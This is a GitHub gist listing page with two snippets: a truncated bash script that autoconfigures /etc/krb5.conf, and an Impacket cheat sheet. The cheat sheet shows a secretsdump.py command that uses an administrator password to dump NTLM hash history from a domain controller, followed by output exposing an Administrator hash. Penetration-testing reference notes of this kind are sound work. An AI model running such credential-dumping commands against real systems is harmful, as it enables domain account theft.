Skip to content

Instantly share code, notes, and snippets.

@kaluche
kaluche / kerberos-autoconf.sh
Created November 12, 2019 15:39
Autoconf of /etc/krb5.conf. Replace default value with your value.
#!/bin/bash
if [ "$1" == "-h" ]; then
echo "Usage: `basename $0` Autoconf of /etc/krb5.conf. Replace default value with your value."
echo " -r <REALM> (Your Realm. Ex: FOO)"
echo " -k <KDC> (The KDC. Ex: DC1)"
echo " -f <FQDN> (The FQDN of your domain. Ex: FOO.LOCAL)"
exit 0
fi
while getopts r:k:f: option
do
@kaluche
kaluche / impacket_reminder.md
Last active April 30, 2022 22:29
impacket_reminder.md

Impacket commands reminder

DC : hashs NTLM dump, history

$ python secretsdump.py -history -user-status -just-dc-user Administrateur -just-dc-ntlm foo.local/administrateur:P4ssw0rd\[email protected] 
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:6ced6cb821b81327d4b8b096947e0615::: (status=Enabled)